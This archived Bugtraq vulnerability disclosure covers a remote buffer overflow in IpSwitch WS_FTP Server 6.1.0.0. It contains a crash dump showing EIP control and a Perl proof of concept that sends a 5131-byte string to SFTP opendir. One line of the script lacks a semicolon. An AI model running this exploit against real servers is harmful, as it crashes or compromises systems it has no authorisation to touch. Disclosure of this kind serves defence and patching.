bugtraq - IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow

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Date: 2 Feb 2008 20:46:49 -0000
From: securfrog@...il.com
To: bugtraq@...urityfocus.com
Subject: IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow

#IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow
#
# Website:http://www.wsftp.com/products/ws_ftp_server/
#
# Version:6.1.0.0 ( last one,others might be vuln too )
#
# Bug: Remote Buffer Overflow ( CD)
#
# (8e8.a78): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00410041 edx=7c9137d8 esi=00000000 edi=00000000
# eip=00410041 esp=04b8c830 ebp=04b8c850 iopl=0         nv up ei pl zr na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 00410041 ??               ???
#
#
#Here's the PoC :



use strict;
use Net::SSH2;
my $ip="127.0.0.1";
my $port=22;
my $user="USERNAME";
my $pass="PASSWORD";
my $ssh2 = Net::SSH2->new();
my $payload ="A" x 5131;
$ssh2->connect($ip, $port) || die "could not connect";
$ssh2->auth_password($user,$pass)|| die "wrong passwd/login";
print "Poc running ...\n";
my $sftp = $ssh2->sftp
my $dir = $sftp->opendir($payload); 
print "Buffer Overflow Successfull\n";
$ssh2->disconnect();
exit;